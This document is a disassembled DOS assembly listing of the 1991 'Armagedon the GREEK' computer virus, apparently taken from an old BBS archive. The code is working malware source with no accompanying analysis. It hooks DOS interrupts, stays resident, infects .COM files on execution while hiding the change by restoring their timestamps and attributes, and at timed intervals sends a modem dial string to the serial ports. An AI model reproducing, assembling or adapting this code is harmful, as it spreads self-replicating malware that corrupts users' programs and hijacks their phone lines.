  
PAGE  59,132
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл								         лл
;лл			        ARMAGEDO			         лл
;лл								         лл
;лл      Created:   21-Feb-91					         лл
;лл      Version:						         лл
;лл      Passes:    5	       Analysis Options on: H		         лл
;лл								         лл
;лл								         лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
data_1e		equ	2Ch			; (7415:002C=0)
data_2e		equ	81h			; (7415:0081=0)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
armagedo	proc	far
  
start:
		jmp	loc_36			; (0436)
  
armagedo	endp
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;			External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
int_21h_entry	proc	far
		pushf				; Push flags
		cmp	ah,0E0h
		jne	loc_2			; Jump if not equal
		mov	ax,0DADAh
		popf				; Pop flags
		iret				; Interrupt return
int_21h_entry	endp
  
loc_2:
		cmp	ah,0E1h
		jne	loc_3			; Jump if not equal
		mov	ax,cs
		popf				; Pop flags
		iret				; Interrupt return
loc_3:
		cmp	ax,4B00h
		je	loc_5			; Jump if equal
loc_4:
		popf				; Pop flags
		jmp	dword ptr cs:data_4	; (7415:0122=138Dh)
data_4		dd	7415138Dh
data_6		dd	7415022Bh
data_8		db	0
data_9		db	8
data_10		db	10h
data_11		db	9
data_12		db	34h
data_13		dw	0
		db	0
data_14		db	0
data_15		db	0
data_16		db	0
		db	43h, 4Fh, 4Dh
data_17		dw	5
data_18		dw	2
		db	0, 0
data_19		dw	1301h
data_20		dw	1306h
data_21		dw	0FFFEh
data_22		dw	7415h
data_23		dw	3D5Bh
data_24		dw	20h
data_25		dw	0EC2h
data_26		dw	6E68h
		db	0, 0, 81h, 0
data_27		dw	12ACh
		db	5Ch, 0
data_28		dw	12ACh
		db	6Ch, 0
data_29		dw	12ACh
loc_5:
		push	ds
		push	bx
		push	si
		push	cx
		push	ax
		push	dx
		push	bp
		push	es
		push	di
		cld				; Clear direction
		push	dx
		push	ds
		xor	cx,cx			; Zero register
		mov	si,dx
loc_6:
		mov	al,[si]
		cmp	al,0
		je	loc_7			; Jump if equal
		inc	cx
		inc	si
		jmp	short loc_6		; (016C)
loc_7:
		add	dx,cx
		sub	dx,3
		mov	si,135h
		mov	di,dx
		cmp	byte ptr [di-3],4Eh	; 'N'
		jne	loc_8			; Jump if not equal
		cmp	byte ptr [di-2],44h	; 'D'
		je	loc_11			; Jump if equal
loc_8:
		mov	cx,3
  
locloop_9:
		mov	al,cs:[si]
		cmp	al,[di]
		jne	loc_11			; Jump if not equal
		inc	si
		inc	di
		loop	locloop_9		; Loop if cx > 0
  
		pop	ds
		pop	dx
		push	dx
		push	ds
		mov	si,dx
		mov	dl,0
		cmp	byte ptr [si+1],3Ah	; ':'
		jne	loc_10			; Jump if not equal
		mov	dl,[si]
		and	dl,0Fh
loc_10:
		mov	ah,36h			; '6'
		int	21h			; DOS Services  ah=function 36h
						;  get free space, drive dl,1=a:
		cmp	ax,0FFFFh
		je	loc_11			; Jump if equal
		jmp	short loc_13		; (01C5)
		db	90h
loc_11:
		jmp	loc_19			; (02F8)
		jmp	loc_20			; (02FD)
loc_12:
		jmp	loc_17			; (02C4)
		jmp	loc_18			; (02CF)
loc_13:
		cmp	bx,3
		jb	loc_11			; Jump if below
		pop	ds
		pop	dx
		push	ds
		push	dx
		mov	cs:data_22,ds		; (7415:0144=7415h)
		mov	cs:data_23,dx		; (7415:0146=3D5Bh)
		mov	ax,4300h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
		mov	cs:data_24,cx		; (7415:0148=20h)
		mov	ax,4301h
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
		mov	bx,0FFFFh
		mov	ah,48h			; 'H'
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		mov	ah,48h			; 'H'
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		mov	cs:data_19,ax		; (7415:013E=1301h)
		mov	ax,cs
		mov	ds,ax
		mov	dx,541h
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		pop	dx
		pop	ds
		mov	ax,3D02h
		clc				; Clear carry flag
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jc	loc_12			; Jump if carry Set
		mov	bx,ax
		mov	cs:data_17,ax		; (7415:0138=5)
		mov	cx,0FFFFh
		mov	ax,cs:data_19		; (7415:013E=1301h)
		mov	ds,ax
		mov	dx,437h
		mov	ah,3Fh			; '?'
		clc				; Clear carry flag
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		jc	loc_12			; Jump if carry Set
		mov	cs:data_18,ax		; (7415:013A=2)
		cmp	ax,0E000h
		ja	loc_12			; Jump if above
		cmp	ax,437h
		jb	loc_15			; Jump if below
		mov	si,438h
		add	si,si
		sub	si,15h
		mov	cx,13h
		mov	di,524h
  
locloop_14:
		mov	al,[si]
		mov	ah,cs:[di]
		cmp	ah,al
		jne	loc_15			; Jump if not equal
		inc	si
		inc	di
		loop	locloop_14		; Loop if cx > 0
  
		jmp	short loc_17		; (02C4)
		db	90h
loc_15:
		mov	ax,4200h
		mov	bx,cs:data_17		; (7415:0138=5)
		xor	cx,cx			; Zero register
		mov	dx,cx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		jc	loc_17			; Jump if carry Set
		mov	si,100h
		mov	cx,437h
		xor	di,di			; Zero register
		mov	ax,cs:data_19		; (7415:013E=1301h)
		mov	ds,ax
  
locloop_16:
		mov	al,cs:[si]
		mov	[di],al
		inc	si
		inc	di
		loop	locloop_16		; Loop if cx > 0
  
		mov	ax,5700h
		mov	bx,cs:data_17		; (7415:0138=5)
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		mov	cs:data_26,cx		; (7415:014C=6E68h)
		mov	cs:data_25,dx		; (7415:014A=0EC2h)
		mov	ax,cs:data_19		; (7415:013E=1301h)
		mov	ds,ax
		mov	si,437h
		mov	al,[si]
		add	al,0Bh
		mov	[si],al
		xor	dx,dx			; Zero register
		mov	cx,cs:data_18		; (7415:013A=2)
		add	cx,437h
		mov	bx,cs:data_17		; (7415:0138=5)
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	cx,cs:data_26		; (7415:014C=6E68h)
		mov	dx,cs:data_25		; (7415:014A=0EC2h)
		mov	bx,cs:data_17		; (7415:0138=5)
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
loc_17:
		mov	bx,cs:data_17		; (7415:0138=5)
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		push	cs
		pop	ds
loc_18:
		mov	dx,80h
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		mov	ax,cs:data_19		; (7415:013E=1301h)
		mov	es,ax
		mov	ah,49h			; 'I'
		int	21h			; DOS Services  ah=function 49h
						;  release memory block, es=seg
		mov	ax,cs:data_22		; (7415:0144=7415h)
		mov	ds,ax
		mov	dx,cs:data_23		; (7415:0146=3D5Bh)
		mov	ax,4301h
		mov	cx,cs:data_24		; (7415:0148=20h)
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
		jmp	short loc_20		; (02FD)
		db	90h
loc_19:
		pop	ds
		pop	dx
		jmp	short loc_20		; (02FD)
		db	90h
loc_20:
		pop	di
		pop	es
		pop	bp
		pop	dx
		pop	ax
		pop	cx
		pop	si
		pop	bx
		pop	ds
		jmp	loc_4			; (011C)
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;			External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
int_08h_entry	proc	far
		push	bp
		push	ds
		push	es
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		pushf				; Push flags
		call	cs:data_6		; (7415:0126=22Bh)
		call	sub_1			; (0365)
		push	cs
		pop	ds
		mov	ah,5
		mov	ch,data_10		; (7415:012C=10h)
		cmp	ah,ch
		ja	loc_22			; Jump if above
		mov	ah,6
		cmp	ah,ch
		jb	loc_22			; Jump if below
		mov	ah,data_8		; (7415:012A=0)
		cmp	ah,1
		je	loc_21			; Jump if equal
		mov	ah,1
		mov	data_8,ah		; (7415:012A=0)
		jmp	short loc_22		; (035B)
		db	90h
loc_21:
		call	sub_2			; (03CB)
		inc	data_13			; (7415:012F=0)
		mov	ax,data_13		; (7415:012F=0)
		cmp	ax,21Ch
		jne	loc_22			; Jump if not equal
		xor	ax,ax			; Zero register
		mov	data_8,ah		; (7415:012A=0)
		mov	data_13,ax		; (7415:012F=0)
		mov	data_15,ah		; (7415:0133=0)
loc_22:
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	es
		pop	ds
		pop	bp
		iret				; Interrupt return
int_08h_entry	endp
  
  
;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;			       SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм
  
sub_1		proc	near
		push	cs
		pop	ds
		xor	al,al			; Zero register
		mov	ah,data_9		; (7415:012B=8)
		cmp	ah,11h
		jne	loc_26			; Jump if not equal
		mov	ah,data_12		; (7415:012E=34h)
		cmp	ah,3Bh			; ';'
		jne	loc_27			; Jump if not equal
		mov	ah,data_11		; (7415:012D=9)
		cmp	ah,3Bh			; ';'
		jne	loc_28			; Jump if not equal
		mov	ah,data_10		; (7415:012C=10h)
		cmp	ah,17h
		jne	loc_29			; Jump if not equal
		mov	data_10,al		; (7415:012C=10h)
loc_23:
		mov	data_11,al		; (7415:012D=9)
loc_24:
		mov	data_12,al		; (7415:012E=34h)
loc_25:
		mov	data_9,al		; (7415:012B=8)
		retn
loc_26:
		inc	data_9			; (7415:012B=8)
		retn
loc_27:
		inc	data_12			; (7415:012E=34h)
		jmp	short loc_25		; (0396)
loc_28:
		inc	data_11			; (7415:012D=9)
		jmp	short loc_24		; (0393)
loc_29:
		inc	data_10			; (7415:012C=10h)
		jmp	short loc_23		; (0390)
sub_1		endp
  
		db	'+++aTh0m0s7=35dp081,,,,141'
  
;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;			       SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм
  
sub_2		proc	near
		mov	al,data_15		; (7415:0133=0)
		cmp	al,1
		je	loc_ret_35		; Jump if equal
		mov	al,data_16		; (7415:0134=0)
		cmp	al,1
		je	loc_31			; Jump if equal
		mov	cx,3
  
locloop_30:
		mov	dx,cx
		xor	ah,ah			; Zero register
		mov	al,83h
		int	14h			; RS-232   dx=com#, ah=func 40h
						;  reset port, al=init parameter
		loop	locloop_30		; Loop if cx > 0
  
		mov	al,1
		mov	data_16,al		; (7415:0134=0)
		jmp	short loc_ret_35	; (0435)
		db	90h
loc_31:
		push	cs
		pop	ds
		mov	si,3B1h
		mov	al,data_14		; (7415:0132=0)
		cmp	al,1Ah
		jne	loc_32			; Jump if not equal
		jmp	short loc_33		; (041A)
		db	90h
loc_32:
		xor	ah,ah			; Zero register
		add	si,ax
		mov	al,[si]
		mov	dx,3F8h
		out	dx,al			; port 3F8h, RS232-1 xmit buffr
		mov	dx,2F8h
		out	dx,al			; port 2F8h, RS232-2 xmit buffr
		mov	dx,2E8h
		out	dx,al			; port 2E8h
		mov	dx,3E8h
		out	dx,al			; port 3E8h
		inc	data_14			; (7415:0132=0)
		jmp	short loc_ret_35	; (0435)
		db	90h
loc_33:
		mov	cx,3
  
locloop_34:
		mov	dx,cx
		mov	al,0Dh
		mov	ah,1
		int	14h			; RS-232   dx=com#, ah=func 41h
						;  write char al, ah=retn status
		loop	locloop_34		; Loop if cx > 0
  
		mov	ax,1
		mov	data_15,al		; (7415:0133=0)
		mov	data_14,ah		; (7415:0132=0)
		mov	data_16,ah		; (7415:0134=0)
  
loc_ret_35:
		retn
sub_2		endp
  
loc_36:
		mov	ah,0E0h
		int	21h			; DOS Services  ah=function E0h
		cmp	ax,0DADAh
		jne	loc_37			; Jump if not equal
		jmp	loc_40			; (04DB)
loc_37:
		push	cs
		pop	ds
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr data_4,bx	; (7415:0122=138Dh)
		mov	word ptr data_4+2,es	; (7415:0124=7415h)
		mov	dx,103h
		mov	ax,2521h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,3508h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr data_6,bx	; (7415:0126=22Bh)
		mov	word ptr data_6+2,es	; (7415:0128=7415h)
		mov	dx,309h
		mov	ax,2508h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dh=sec
		mov	data_10,ch		; (7415:012C=10h)
		mov	data_11,cl		; (7415:012D=9)
		mov	data_12,dh		; (7415:012E=34h)
		mov	ax,cs:data_1e		; (7415:002C=0)
		mov	ds,ax
		xor	si,si			; Zero register
loc_38:
		mov	al,[si]
		cmp	al,1
		je	loc_39			; Jump if equal
		inc	si
		jmp	short loc_38		; (0486)
loc_39:
		inc	si
		inc	si
		mov	dx,si
		mov	ax,cs
		mov	es,ax
		mov	bx,5Ah
		mov	ah,4Ah			; 'J'
		int	21h			; DOS Services  ah=function 4Ah
						;  change mem allocation, bx=siz
		mov	bx,cs:data_2e		; (7415:0081=0)
		mov	ax,cs
		mov	es,ax
		mov	cs:data_28,ax		; (7415:0156=12ACh)
		mov	cs:data_29,ax		; (7415:015A=12ACh)
		mov	cs:data_27,ax		; (7415:0152=12ACh)
		mov	ax,4B00h
		mov	cs:data_20,ss		; (7415:0140=1306h)
		mov	cs:data_21,sp		; (7415:0142=0FFFEh)
		pushf				; Push flags
		call	cs:data_4		; (7415:0122=138Dh)
		mov	ax,cs:data_20		; (7415:0140=1306h)
		mov	ss,ax
		mov	ax,cs:data_21		; (7415:0142=0FFFEh)
		mov	sp,ax
		mov	ax,cs
		mov	ds,ax
		mov	dx,537h
		int	27h			; Terminate & stay resident
loc_40:
		mov	ah,0E1h
		int	21h			; DOS Services  ah=function E1h
		mov	si,4F3h
		mov	cs:[si+3],ax
		mov	ax,4F8h
		mov	cs:[si+1],ax
		mov	ax,cs:data_18		; (7415:013A=2)
		mov	bx,cs
;*		jmp	far ptr loc_1		;*(0000:0000)
		db	0EAh, 0, 0, 0, 0
		db	8Bh, 0C8h, 8Eh, 0DBh, 0BEh, 0
		db	1, 0BFh, 37h, 5
  
locloop_41:
		mov	al,[di]
		mov	[si],al
		inc	si
		inc	di
		loop	locloop_41		; Loop if cx > 0
  
		mov	si,51Fh
		mov	cs:[si+3],ds
		mov	al,byte ptr ds:[100h]	; (7415:0100=0E9h)
		sub	al,0Bh
		mov	byte ptr ds:[100h],al	; (7415:0100=0E9h)
		mov	ax,ds
		mov	es,ax
		mov	ss,ax
		jmp	far ptr start		; (0100)
		db	'Armagedon the GREEK'
		db	0D8h, 20h
  
seg_a		ends
  
  
  
		end	start

Downloaded From P-80 International Information Systems 304-744-2253
